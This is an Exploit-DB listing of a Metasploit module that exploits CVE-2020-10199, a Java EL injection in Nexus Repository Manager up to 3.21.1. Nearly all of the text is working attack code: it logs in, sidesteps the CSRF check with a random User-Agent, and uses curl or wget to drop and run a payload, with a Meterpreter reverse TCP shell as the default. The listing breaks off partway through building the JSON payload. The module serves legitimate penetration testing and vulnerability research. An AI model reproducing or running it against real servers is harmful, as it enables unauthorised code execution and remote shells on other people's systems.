Exploit-DB #48343
Description: Nexus Repository Manager - Java EL Injection RCE (Metasploit)
Type: remote
Platform: linux
Date: 2020-04-17
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Nexus Repository Manager Java EL Injection RCE',
      'Description'     => %q{
        This module exploits a Java Expression Language (EL) injection in Nexus
        Repository Manager versions up to and including 3.21.1 to execute code
        as the Nexus user.

        This is a post-authentication vulnerability, so credentials are required
        to exploit the bug. Any user regardless of privilege level may be used.

        Tested against 3.21.1-01.
      },
      'Author'          => [
        'Alvaro Muñoz', # Discovery
        'wvu'           # Module
      ],
      'References'      => [
        ['CVE', '2020-10199'],
        ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
        ['URL', 'https://support.sonatype.com/hc/en-us/articles/[PII_REDACTED]33-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
      ],
      'DisclosureDate'  => '2020-03-31', # Vendor advisory
      'License'         => MSF_LICENSE,
      'Platform'        => 'linux',
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Privileged'      => false,
      'Targets'         => [['Nexus Repository Manager <= 3.21.1', {}]],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
      'CmdStagerFlavor' => %i[curl wget],
      'Notes'           => {
        'Stability'     => [CRASH_SAFE],
        'Reliability'   => [REPEATABLE_SESSION],
        'SideEffects'   => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      Opt::RPORT(8081),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME',  [true, 'Nexus username', 'admin']),
      OptString.new('PASSWORD',  [true, 'Nexus password'])
    ])
  end

  def post_auth?
    # Pre-auth RCE? https://twitter.com/iamnoooob/status/[PII_REDACTED]27240967
    true
  end

  # Send a GET / request to the server, check the response for a Server header
  # containing the Nexus version, and then check if it's a vulnerable version
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.headers['Server']
      return CheckCode::Unknown('Target did not respond with Server header.')
    end

    # Example Server header:
    # Server: Nexus/3.21.1-01 (OSS)
    version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

    unless version
      return CheckCode::Unknown('Target did not respond with Nexus version.')
    end

    if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
      return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
    end

    CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    print_status("Executing command stager for #{datastore['PAYLOAD']}")

    # This will drop a binary payload to disk and execute it!
    execute_cmdstager(
      noconcat: true,
      cookie:   login(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  def login(username, password)
    print_status("Logging in with #{username}:#{password}")

    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => normalize_uri(target_uri.path,
                                    '/service/rapture/session'),
      'vars_post'  => {
        'username' => Rex::Text.encode_base64(username),
        'password' => Rex::Text.encode_base64(password)
      },
      'partial'    => true # XXX: Return partial response despite timeout
    }, 3.5)

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to login request')
    end

    cookie = res.get_cookies

    unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
      fail_with(Failure::NoAccess, 'Could not log in with specified creds')
    end

    print_good("Logged in with #{cookie}")
    cookie
  end

  # This is defined so that CmdStager can use it!
  def execute_command(cmd, opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path,
                                '/service/rest/beta/repositories/go/group'),
      # HACK: Bypass CSRF token with random User-Agent header
      'agent'  => rand_text_english(8..42),
      'cookie' => opts[:cookie],
      'ctype'  => 'application/json',
      'data'   => json_payload(cmd)
    )

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to payload request')
    end

    unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

  # PoC based off API docs for /service/rest/beta/repositories/go/group:
  # http://localhost:8081/#admin/system/api
  def json_payload(cmd)
    {
      'name'                          => 'internal',
      'online'                        => true,
      'storage'                       => {
        'blobStoreName'               => 'default',
        'strictContentTypeValidation' => true
      },
      'group'                         => {
        # XXX: memberNames has to be an array, b